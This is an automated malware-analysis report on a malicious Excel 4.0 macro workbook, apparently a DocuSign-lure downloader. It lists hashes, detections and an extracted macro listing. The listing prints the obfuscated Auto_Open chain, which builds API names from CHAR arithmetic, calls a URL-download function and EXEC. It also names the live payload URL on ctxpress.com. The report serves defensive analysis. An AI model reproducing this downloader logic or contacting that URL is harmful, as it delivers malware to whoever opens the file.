Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 bac38ab66f18246b…

MALICIOUS

Office (OLE) / .XLS

331.0 KB Created: 2006-09-16 00:00:00 Authoring application: Microsoft Excel
MD5: 95af7102a36a1b60c6fba7fb4a33ee84 SHA-1: 3c318064b962161b2cf502a73f0e35d89b0f00e3 SHA-256: bac38ab66f18246bcf6ef5d96afaf0b3afc1fde2862f27744e942df7a57b54e7
302 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic for Applications T1204.002 Malicious File T1059.001 PowerShell T1105 Ingress Tool Transfer

The presence of Excel 4.0 macros, specifically the Auto_Open function utilizing dangerous APIs like RUN, strongly indicates malicious intent. The heuristic firings suggest the macro is designed to execute external code, likely by leveraging ShellExecute. The embedded URL points to a resource that is probably the second-stage payload. The ClamAV detection further corroborates the malicious nature of the file.

Heuristics 7

  • ClamAV: Doc.Downloader.Docusign0521-9864805-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Docusign0521-9864805-0
  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • URL reconstructed from XLM cell array (1 URL) critical OLE_XLM_CELL_ARRAY_URL
    Excel 4.0 macro sheet stages its payload URL across the BIFF8 Shared String Table (one quoted-char SST entry concatenated with & at runtime), across individual numeric cells (one ASCII charcode per cell), or split across multi-char fragment cells a download formula concatenates by reference (=A1&A2&… / CONCATENATE(...)). The reconstructed URL is invisible to literal-bytes URL extraction because it is never contiguous in the workbook stream. URLs were recovered by walking the BIFF8 record stream and decoding SST entries, LABELSST/RK/NUMBER cells, and FORMULA cell-reference concatenation in token order.
  • Reference to ShellExecute API high SC_STR_SHELLEXEC
    Reference to ShellExecute API
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://ctxpress.com/ds/261120.gif Referenced by macro
    • https://ctxpress.com/ds/261120.gif�Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
aa837a287543a9593dc9ad53c5a1043539349d9d7158b9d02f92e2bb7330dc0f		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6677 bytes
Preview script
First 1,000 lines of the extracted script
' 0085     16 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  DocuSig
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  File
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Files
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Files
' 0085     15 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, hidden -  rtutrd
' 0085     12 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, hidden -  ete
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  File!A40 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  File,A51,RUN(R59),""
'  File,R59,RUN( File!M98),""
'  File,M89,CONCATENATE("Ke"& DocuSig!BY80&"l32"),""
'  File,M90,CONCATENATE("Cr"& DocuSig!BY92&"yA"),""
'  File,M91,"JCJ",""
'  File,M92, DocuSig!BN62,""
'  File,M94, DocuSig!BN62& DocuSig!BN77,""
'  File,M98,"CALL(""&""&""&""&""&""&""&""&""&M89,M90,M91,M92,0)",""
'  File,M99,RUN(M105),""
'  File,M105,"CALL(M89,M90,M91,M94,0)",""
'  File,M106,RUN( rtutrd!A70),""
'  Files,A59,EXEC( Files!W36& DocuSig!BN62& DocuSig!BN77& DocuSig!BN91),""
'  Files,A60,HALT(),""
'  Files,A70,RUN( Files!D67),""
'  Files,D67,"CALL("UR"& DocuSig!BY111&"n","UR"& DocuSig!BY120&"e"&"A","IICCII",0, DocuSig!FE100, DocuSig!BN62& DocuSig!BN77& DocuSig!BN91,0,0)",""
'  Files,D68,RUN( rtutrd!A59),""
'  rtutrd,BN62,"CONCATENATE(BN63,BN64,BN65,BN66,BN67,BN68,BN69,BN70,BN71)",""
'  rtutrd,BN63,CHAR(BO63+BP63+BQ63),""
'  rtutrd,BN64,CHAR(BO64+BP64+BQ64),""
'  rtutrd,BN65,CHAR(BO65+BP65+BQ65),""
'  rtutrd,BN66,CHAR(BO66+BP66-BQ66),""
'  rtutrd,BN67,CHAR(BO67+BP67-BQ67),""
'  rtutrd,BN68,CHAR(BO68+BP68-BQ68),""
'  rtutrd,BN69,CHAR(BO69-BP69+BQ69),""
'  rtutrd,BN70,CHAR(BO70-BP70+BQ70),""
'  rtutrd,BN71,CHAR(BO71-BP71+BQ71),""
'  rtutrd,BN77,"CONCATENATE(BN78,BN79,BN80,BN81,BN82,BN83,BN84)",""
'  rtutrd,BN78,CHAR(BO78-BP78-BQ78),""
'  rtutrd,BN79,CHAR(BO79-BP79-BQ79),""
'  rtutrd,BN80,CHAR(BO80-BP80-BQ80),""
'  rtutrd,BY80,CONCATENATE(BY83&BY84&BY85),""
'  rtutrd,BN81,CHAR(BO81-BP81+BQ81),""
'  rtutrd,BY81,CHAR(BZ81+CA81+CB81),""
'  rtutrd,BN82,CHAR(BO82-BP82+BQ82),""
'  rtutrd,BY82,CHAR(BZ82+CA82+CB82),""
'  rtutrd,BN83,CHAR(BO83-BP83+BQ83),""
'  rtutrd,BY83,CHAR(BZ83+CA83+CB83),""
'  rtutrd,BN84,CHAR(BO84-BP84+BQ84),""
'  rtutrd,BY84,CHAR(BZ84+CA84+CB84),""
'  rtutrd,BY85,CHAR(BZ85-CA85-CB85),""
'  rtutrd,BY86,CHAR(BZ86-CA86-CB86),""
'  rtutrd,BY87,CHAR(BZ87-CA87+CB87),""
'  rtutrd,BY88,CHAR(BZ88-CA88+CB88),""
'  rtutrd,BN91,"CONCATENATE(BN92,BN93,BN94,BN95,BN96,BN97,BN98,BN99,BN100,BN101,BN102,BN103,BN104)",""
'  rtutrd,BN92,[],""
'  rtutrd,BY92,"CONCATENATE(BY95,BY96, Files!BC60, Files!BC61&"D"& DocuSig!BY97, DocuSig!BY98, DocuSig!BY99, DocuSig!BY100, DocuSig!BY101, DocuSig!BY102, DocuSig!BY103)",""
'  rtutrd,BN93,[],""
'  rtutrd,BY93,CHAR(BZ93+CA93+CB93),""
'  rtutrd,BN94,[],""
'  rtutrd,BS94,CONCATENATE(BS95&BS96&BS97&BS98),""
'  rtutrd,BY94,CHAR(BZ94+CA94+CB94),""
'  rtutrd,BN95,[],""
'  rtutrd,BS95,CHAR(BT95+BU95-BV95),""
'  rtutrd,BY95,CHAR(101),""
'  rtutrd,BN96,[],""
'  rtutrd,BS96,CHAR(BT96+BU96-BV96),""
'  rtutrd,BY96,CHAR(BZ96+CA96+CB96),""
'  rtutrd,BN97,[],""
'  rtutrd,BS97,CHAR(BT97-BU97+BV97),""
'  rtutrd,BY97,CHAR(BZ97-CA97-CB97),""
'  rtutrd,BN98,[],""
'  rtutrd,BS98,CHAR(BT98-BU98+BV98),""
'  rtutrd,BY98,CHAR(BZ98+CA98-CB98),""
'  rtutrd,BN99,[],""
'  rtutrd,BY99,CHAR(BZ99+CA99-CB99),""
'  rtutrd,BN100,[],""
'  rtutrd,BY100,CHAR(99),""
'  rtutrd,FE100,"https://ctxpress.com/ds/261120.gif",""
'  rtutrd,BN101,[],""
'  rtutrd,BY101,CHAR(BZ101+CA101-CB101),""
'  rtutrd,BN102,[],""
'  rtutrd,BY102,CHAR(BZ102-CA102+CB102),""
'  rtutrd,BN103,[],""
'  rtutrd,BY103,CHAR(BZ103-CA103+CB103),""
'  rtutrd,BN104,[],""
'  rtutrd,BY111,"CONCATENATE(BY114,BY115,BY116)",""
'  rtutrd,BY112,CHAR(BZ112+CA112+CB112),""
'  rtutrd,BY113,CHAR(BZ113+CA113+CB113),""
'  rtutrd,BY114,CHAR(BZ114+CA114+CB114),""
'  rtutrd,BY115,CHAR(BZ115-CA115-CB115),""
'  rtutrd,BY116,CHAR(BZ116-CA116-CB116),""
'  rtutrd,BY117,CHAR(BZ117-CA117-CB117),""
'  rtutrd,BY120,"CONCATENATE(BY123,BY124,BY125,BY126,BY127,BY128,BY129,BY130,BY131,BY132,BY133,BY134,BY135,BY136)",""
'  rtutrd,BY121,"CHAR(SUM(BZ121,CA121,CB121))",""
'  rtutrd,BY122,"CHAR(SUM(BZ122,CA122,CB122))",""
'  rtutrd,BY123,"CHAR(SUM(BZ123,CA123,CB123))",""
'  rtutrd,BY124,CHAR(BZ124-CA124-CB124),""
'  rtutrd,BY125,CHAR(BZ125-CA125-CB125),""
'  rtutrd,BR126,CONCATENATE(BR127&BR128&BR129&BR130&BR131&BR132&BR133),""
'  rtutrd,BY126,CHAR(BZ126-CA126-CB126),""
'  rtutrd,BR127,CHAR(BS127+BT127+BU127),""
'  rtutrd,BY127,CHAR(BZ127+CA127-CB127),""
'  rtutrd,BR128,CHAR(BS128+BT128+BU128),""
'  rtutrd,BY128,CHAR(BZ128+CA128-CB128),""
'  rtutrd,BR129,CHAR(BS129+BT129+BU129),""
'  rtutrd,BY129,CHAR(BZ129+CA129-CB129),""
'  rtutrd,BR130,CHAR(BS130+BT130+BU130),""
'  rtutrd,BY130,CHAR(BZ130-CA130+CB130),""
'  rtutrd,BR131,CHAR(BS131-BT131-BU131),""
'  rtutrd,BY131,CHAR(BZ131-CA131+CB131),""
'  rtutrd,BR132,CHAR(BS132-BT132-BU132),""
'  rtutrd,BY132,CHAR(BZ132-CA132+CB132),""
'  rtutrd,BR133,CHAR(BS133-BT133-BU133),""
'  rtutrd,BY133,"CHAR(SUM(BZ133,CA133,CB133))",""
'  rtutrd,BY134,"CHAR(SUM(BZ134,CA134,CB134))",""
'  rtutrd,BY135,"CHAR(SUM(BZ135,CA135,CB135))",""
'  rtutrd,BY136,CHAR(BZ136-CA136-CB136),""
'  rtutrd,BY137,CHAR(BZ137-CA137-CB137),""
'  rtutrd,BY138,CHAR(BZ138-CA138-CB138),""
'  ete,W36,"CONCATENATE(W37,W38,W39,W40,W41,W42,W43,W44,W45,W46,W47,W48)",""
'  ete,W37,[],""
'  ete,W38,[],""
'  ete,W39,[],""
'  ete,W40,[],""
'  ete,W41,[],""
'  ete,W42,[],""
'  ete,W43,[],""
'  ete,W44,[],""
'  ete,W45,[],""
'  ete,W46,[],""
'  ete,W47,[],""
'  ete,W48,[],""
'  ete,BC60,CHAR(BD60-BE60-BF60),""
'  ete,BC61,CHAR(BD61-BE61-BF61),""
'  ete,N62,"CONCATENATE("S"&N64,N65,N66,N67,N68&S76)",""
'  ete,BC62,CHAR(BD62-BE62-BF62),""
'  ete,N63,CHAR(O63+P63+Q63),""
'  ete,N64,CHAR(O64+P64+Q64),""
'  ete,N65,CHAR(O65+P65+Q65),""
'  ete,N66,CHAR(O66-P66-Q66),""
'  ete,N67,CHAR(O67-P67-Q67),""
'  ete,N68,CHAR(O68-P68-Q68),""
'  ete,S76,"CONCATENATE(S77,S78,S79,S80,S81,S82&"A")",""
'  ete,S77,CHAR(T77-U77-V77),""
'  ete,S78,CHAR(T78-U78+V78),""
'  ete,S79,CHAR(T79-U79+V79),""
'  ete,S80,CHAR(T80-U80+V80),""
'  ete,S81,CHAR(T81+U81-V81),""
'  ete,S82,CHAR(T82+U82-V82),""
'  ete,S83,CHAR(T83+U83-V83),""

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